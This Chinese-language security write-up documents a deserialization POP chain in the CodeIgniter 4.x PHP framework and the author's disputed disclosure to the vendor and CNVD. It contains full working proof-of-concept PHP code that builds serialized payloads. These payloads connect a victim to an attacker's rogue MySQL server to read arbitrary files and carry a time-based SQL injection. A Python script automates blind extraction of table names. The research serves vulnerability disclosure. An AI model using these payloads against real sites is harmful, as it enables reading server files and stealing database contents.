0x00 前言
CI框架作為PHP國外流行的框架,筆者有幸的挖掘到了它的反序列化POP鏈,其漏洞影響版本為4.*版本。
文末有筆者與該廠商的一些「小故事」。
0x01 POP鏈分析當然,反序列化漏洞需要反序列化操作的支撐,因此,筆者定義了一個觸發該反序列化漏洞的控制器,定義於:/app/Controllers/Home.php
主要內容於:
<?php namespace App\Controllers;
class Home extends BaseController{ public function index(){ unserialize($_GET['a']); }}destruct魔術方法為反序列化漏洞最有效的方法,我們可以全局搜索一下destruct魔術方法的定義。
可以看到在/system/Cache/Handlers/RedisHandler.php中的__destruct魔術方法中,$this->redis非常靈活,它可以是任意類的實例化對象,那麼我們可以調用任意對象的close()方法。
全局搜索close()方法:
通過全局搜索可以看到,
在/system/Session/Handlers/MemcachedHandler.php文件中,存在一個close()方法,在264行的isset($this->memcached)是否存在,如果存在,則調用$this->memcached->delete($this->lockKey)方法,再次全局搜索delete方法。
通過全局搜索可以看到,在system/Model.php中定義了delete方法,雖然接收兩個參數,有幸的是CI框架將第二個參數給予了默認參數:$purge = false。
在之前的$this->memcached->delete($this->lockKey)雖然只傳遞進來一個參數,但是這種寫法將無視PHP版本號,將此代碼繼續運行下去。
921行調用了$this->builder()方法,我們看一下builder方法的定義。
在1198的賦值操作中可以看到 $table 是可控的,在1206行中進行賦值$this->db->table($table) 的返回內容,我們注意到在1201行進行檢測了$this->db->table的所屬類,如果我們想要代碼繼續往下執行,我們這裡只能將$this->db賦值為BaseConnection的實例化對象。
因為在1206行有調用BaseConnection的table成員方法,我們在 /system/Database/BaseConnection.php中查找一下table。
可以看到971行的str_replace操作,當前的類名為BaseConnection,替換後為BaseBuilder類,隨後進行 new BaseBuilder操作,以$tableName以及$this傳遞進去了,需要注意的是,$tableName是可控的。
找到 /system/Database/BaseBuilder.php 文件,並且搜索__construct魔術方法。如圖:
274行將可控的$tableName傳遞進from方法了,我們看一下from方法的定義。
CI框架將$from強制轉換為array類型,並且如果找不到「逗號」就會將$from傳遞到$this->trackAliases方法中。
我們看一下trackAliases方法的定義。
可以看到trackAliases只會處理「$from為數組、$from存在逗號、$from存在空格」的情況,那麼該函數我們可以先將其忽略,繼續往下審計。
可以看到,調用$this->db->protectIdentifiers方法。$this->db為BaseConnection類的實例,我們查找BaseConnection下的protectIdentifiers方法。如圖:
其中代碼邏輯貼在圖中,我們繼續往下審計即可。
我們回到調用處,查看一下往下的邏輯。
注意924行調用了BaseBuilder下的whereIn方法,我們看一下這個方法做了一些什麼操作。
可以看到$key再次傳入了_whereIn方法,我們看一下_whereIn方法都做了一些什麼操作。
隨後直接放入$whereIn這麼大的一個數組中,充當Where判斷的Key值。
那麼無疑這裡是存在一個SQL注入漏洞的。我們不著急,回到Model.php繼續往下通讀。
我們把重點放在952行調用的BaseBuilder下的delete方法,如圖:
2834行調用了resetWrite方法,跟蹤一下看看。
調用了$this->resetRun,繼續跟蹤。
我們可以看到,只是用來設置鍵值的。那麼我們看一下2837行的$this->db->query($sql, $this->binds, false)方法。
找到BaseConnection下的query方法,如圖:
繼續跟進initialize方法,如圖:
可以看到,調用了$this->connect($this->pConnect)方法,我們查找一下connect方法,如圖:
我們可以看到,前面存在abstract關鍵字,那麼我們全局搜索一下,extends BaseConnection。
如圖:
我們打開system/Database/MySQLi/Connection.php文件,查找connect方法,如圖:
這裡需要注意的是118行$this->strictOn以及140行$this->encrypt不要去定義。
下面就是我們期待已久的Mysql連結操作了。這裡可以利用「MySQL服務端惡意讀取客戶端文件漏洞」來進行任意文件讀取。
這一系列操作完成之後我們回到$this->initialize()魔術方法調用處。繼續往下審計。
實例化CodeIgniter\Database\Query類並調用它下面的getQuery()方法。
在system/Database/query.php找到該類,如圖:
可以看到是來解析佔位符的。
調用了compileBinds方法,跟進查看。
跟進404行的matchNamedBinds方法確認。
可以從圖中看到筆者的猜想是沒錯的。
那麼我們回到BaseConnection的query方法,繼續觀察。
可以看到調用了一個simpleQuery方法,我們跟進。
又傳入了execute方法,再次跟進,如圖:
可以看到又是抽象方法,那麼我們看看是誰繼承了BaseConnection,查找:
跟進並查找execute方法的定義。
此時我們可以看到
$this->connID->query($this->prepQuery($sql)),其實$this->connID已經是PHP的Mysqli原生類了,這裡我們需要跟進prepQuery方法,看他到底做了一些什麼操作。
這裡$this->deleteHack是可控的,我們無視即可,那麼prepQuery方法等同於什麼也沒幹,直接帶進了Mysqli::query() 方法,根據我們之前審計出的Model類的primaryKey成員屬性可以進行SQL注入(WHERE 條件處)。
到這裡筆者就沒有再次往下審計了,我們的目的只是 任意文件讀取+發送SQL語句。
反序列化的結果CI框架是百分百會拋出異常的,如圖:
再往下讀下去也沒有什麼可以利用的價值了。
0x02 通過CI定義的函數觸發反序列化在我們之前分析POP鏈時,我們使用了unserialize函數來進行演示,那麼在CI框架中是否存在unserialize使用不當的問題呢?答案是肯定的。
我們看一下CI框架定義的old方法,如圖:
我們可以看到,782-786行使用「strpos($value, 'a:') === 0 || strpos($value, 's:') === 0」來讓old函數反序列化出必須為「數組/字符串」,但是這種手法是消極的,如果我們反序列化的內容為「a:1:{i:0;O:...}」這種情況還是可以進入到__destruct跳板,然後被利用。
那麼我們看一下old函數第768行與770行的邏輯。
$request = Services::request();
$value = $request->getOldInput($key);我們看一下Services類下的request靜態方法。
我們可以看到,該方法返回了IncomingRequest類的實例,那麼$value = $request->getOldInput($key);也就是調用IncomingRequest實例下的getOldInput方法了,我們看一下該方法做了一些什麼操作。
可以看到,如果$_SESSION['_ci_old_input']的值不為空,那麼該方法就可以返回$_SESSION['_ci_old_input']['post'][$key]與$_SESSION['_ci_old_input']['get'][$key]。
那麼問題來了,我們如何將$_SESSION['_ci_old_input']['post'][$key]與$_SESSION['_ci_old_input']['get'][$key]可控呢?
我們全局搜索:'_ci_old_input',如圖:
我們可以看到在/system/HTTP/RedirectResponse.php文件中有提到_ci_old_input,那麼我們看一下第125行的$session = $this->ensureSession();,跟進ensureSession方法。如圖:
跟進:
這個方法只是用來對session進行一系列操作的,我們不需要管他,我們回過頭來繼續往下看。
下面的132行調用了setFlashdata方法,根據筆者猜想是用來設置$_SESSION[_ci_old_input]的值,我們跟進setFlashdata看一下邏輯。
在/system/Session/Session.php中的666行可以看到調用了set方法,我們跟進set方法。
看來筆者的猜想是沒錯的。
那麼我們將/app/Controllers/Home.php控制器定義為:
<?php namespace App\Controllers;class Home extends BaseController{public function index(){redirect()->withInput();//設置$_SESSION[『_ci_old_input』][『get』][a]的值old(『a』);//得到$_SESSION[『_ci_old_input』][『get』][a]的值,並進行反序列化操作}}的效果與
<?php namespace App\Controllers;class Home extends BaseController{public function index(){unserialize($_GET[a]);}}的效果是一模一樣的。只是我們編寫POC時,redirect()->withInput() && old(『a』); 這種方式,我們需要注意反序列化的結果一定是一個數組,為了POC的通用性,筆者將該POC生成的返回結果為數組。
0x03 POC編寫&&環境依賴CI框架建立於PHP>=7.2版本,在這些版本中,PHP對屬性修飾符不太敏感,所以我們的POC類中的所有成員屬性的對象修飾符都定義為了public。
但是「MySQL服務端惡意讀取客戶端文件漏洞」在PHP7.3版本的Mysqli連結操作中被刻意注意到了這一點。所以該漏洞只能在PHP7.2.x版本中進行利用。
POC如下:
<?phpnamespace CodeIgniter\Database\MySQLi;class Connection{public $hostname = ''; public $port = ''; public $database = ''; public $username = 'root'; public $password = 'root'; public $charset = 'utf8'; public $escapeChar = '';public $pretend = false;}
namespace CodeIgniter;class Model{public $db;public $table = "mysql.user";public $primaryKey = "1=(case when (select (select group_concat(table_name) from information_schema.tables where table_schema=database()) regexp '^aa') then sleep(1) else 0 end)#";public function __construct($db){$this->db = $db;}}
namespace CodeIgniter\Session\Handlers;class MemcachedHandler{public $lockKey = '123';public $memcached = 'a';public function __construct($memcached){$this->memcached = $memcached;}}
namespace CodeIgniter\Cache\Handlers;class RedisHandler{public $redis;public function __construct($redis){$this -> redis = $redis;}}
$a = array(new RedisHandler(new \CodeIgniter\Session\Handlers\MemcachedHandler(new \CodeIgniter\Model(new \CodeIgniter\Database\MySQLi\Connection()))));echo urlencode(serialize($a));0x04 漏洞演示一、任意文件讀取需要用到的rogue_mysql_server.py腳本GitHub:https://github.com/Gifts/Rogue-MySql-Server
配置POC文件
配置惡意Mysql主機IP(攻擊者外網IP):
配置py腳本
配置完畢後攻擊機上運行py腳本
生成Payload
攻擊受害機的反序列化點
讀取到C:/Windows/win.ini的內容
二、SQL注入我們可以通過任意文件讀取漏洞讀取出資料庫帳號密碼,然後再進行SQL注入。
生成Payload後發送:
成功睡眠一秒,但是這樣的注入對於我們來說是很麻煩的,這裡我們放在實戰中需要藉助於Python腳本來進行批量注入。
具體Python腳本實現思路為:
因為我們要與Python進行交互,那麼我們修改PHP-POC的內容為:
<?phpnamespace CodeIgniter\Database\MySQLi;class Connection{public $hostname = '127.0.0.1'; public $port = '3306'; public $database = 'laravel'; public $username = 'root'; public $password = 'root'; public $charset = 'utf8'; public $escapeChar = '';public $pretend = false;}
namespace CodeIgniter;class Model{public $db;public $table = "mysql.user";public $primaryKey = "1=(case when (select (select group_concat(table_name) from information_schema.tables where table_schema=database()) regexp '^aa') then sleep(1) else 0 end)#";public function __construct($db){$this->db = $db;$payload = $_GET['payload'];if(isset($payload)){$this->primaryKey = $payload;}}}
namespace CodeIgniter\Session\Handlers;class MemcachedHandler{public $lockKey = '123';public $memcached = 'a';public function __construct($memcached){$this->memcached = $memcached;}}
namespace CodeIgniter\Cache\Handlers;class RedisHandler{public $redis;public function __construct($redis){$this -> redis = $redis;}}
$a = array(new RedisHandler(new \CodeIgniter\Session\Handlers\MemcachedHandler(new \CodeIgniter\Model(new \CodeIgniter\Database\MySQLi\Connection()))));echo serialize($a);編寫PythonPoc為:
import requestsPHP_POC = 『http://www.ci.com/hack.php?payload=『 CI_HTTP = 『http://ci.com/public/index.php?a=『 data = 『』k = 1while True:bins = 『』for i in range(1, 8):payload = 「1=if(substr(lpad(bin(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))),7,0),%s,1)=1,sleep(1),0) — 「%(k,i)SeriaText = requests.get(PHP_POC + payload).texttry:requests.get(CI_HTTP + SeriaText, timeout=1, proxies={『http』:』127.0.0.1:8080』})bins += 『0』except Exception as res:bins += 『1』if bins == 『0000000』:breakelse:data += chr(int(bins, 2))k += 1print(data)逐漸爆出表名:
0x05 與TP3.2.3對比思考ThinkPHP3.2.3也存在類似的問題,參考:http://cn-sec.com/archives/236781.html
它們兩者漏洞的區別在於:
CI框架使用了mysql_init() 來進行資料庫連結,而TP則使用了PDO。這裡涉及到了堆疊與非堆疊問題。
CI框架的SQL注入處於WHERE條件,ThinkPHP3.2.3的SQL注入處於表名。
CI框架沒有DEBUG模式,很難進行報錯注入,而ThinkPHP存在DEBUG模式,可以進行報錯注入。
CI框架寫代碼有定義方法默認值的習慣,這樣在我們的反序列化中每個跳板顯得非常的圓潤,而TP3.2.3沒有定義默認值的習慣,這裡需要降低PHP版本,來實現反序列化。
CI框架只允許運行在PHP7.2及往上版本,而MySQL惡意伺服器文件讀取漏洞只能運行在PHP<7.3版本,所以本次漏洞挖掘只可以運行在剛剛好的PHP7.2.x。而ThinkPHP3.2.3可以運行在PHP5與PHP7版本,ThinkPHP3.2.3的反序列化鏈路只能運行在PHP5.x上,放在PHP7.x會報錯。
文章中將反序列化跳板直接寫上了,實際挖洞過程不忍直視…
0x06 「涼心」框架CI筆者在4月9號挖掘到了該反序列化漏洞,但Mysql惡意伺服器只適用於PHP7.2.*版本,在4月9號筆者通過hackerone向廠商提交了該漏洞,搞不好還可以申請一個CVE編號呢。如圖(翻譯來的):
通過廠商的駁回,筆者當然向CNVD上交該漏洞了。
但CNVD那裡今天筆者突然得到了驗證失敗的「駁回」。
如圖:
隨後筆者去錄製驗證視頻時,發現漏洞被「修補」?
我們通過CI框架的官網看到,是適用於PHP7.2.*版本的,如圖:
可是為什麼提交給該廠商之前PHP7.2.可以運行,而廠商駁回後,PHP7.2.則無法運行了?相信大家心中也已經有了答案。
通過github的最後修改日期我們可以看到該廠商私自修復漏洞的日期。
這是一次痛心的挖洞提交過程,請問安全行業從業者,白帽子們的心血都去哪裡了?